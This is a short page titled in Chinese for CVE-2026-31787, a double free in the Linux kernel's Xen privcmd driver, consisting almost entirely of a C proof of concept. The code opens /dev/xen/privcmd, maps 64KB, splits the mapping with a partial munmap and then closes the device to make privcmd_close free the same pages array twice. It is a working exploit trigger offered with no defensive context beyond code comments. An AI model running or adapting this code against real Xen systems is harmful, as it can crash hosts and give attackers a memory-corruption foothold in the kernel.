CVE-2026-31787 Linux内核privcmd双重释放漏洞

#include <fcntl.h> #include <sys/mman.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> // PoC for CVE-2026-31787: Linux Kernel xen/privcmd Double Free // This triggers the VMA splitting logic that leads to a double free. int main() { int fd; void *addr; size_t len = 0x10000; // 64KB mapping // Open the privcmd device (requires Xen environment) fd = open("/dev/xen/privcmd", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/xen/privcmd"); return 1; } printf("[+] Opened /dev/xen/privcmd\n"); // Create a mapping using privcmd addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) { perror("[-] mmap failed"); close(fd); return 1; } printf("[+] Mapped address at %p\n", addr); // Trigger the vulnerability: // Perform a partial munmap. This splits the VMA. // The split VMA will duplicate the pointer to the pages array. printf("[+] Attempting partial munmap to split VMA...\n"); if (munmap(addr + 0x1000, 0x1000) != 0) { perror("[-] munmap failed"); } else { printf("[+] Partial munmap succeeded. VMA split.\n"); } // Cleanup: Closing the remaining mapping or file descriptor // will trigger privcmd_close, attempting to free the pages array twice. printf("[+] Cleaning up... (Triggering Double Free)\n"); munmap(addr, len); close(fd); return 0; }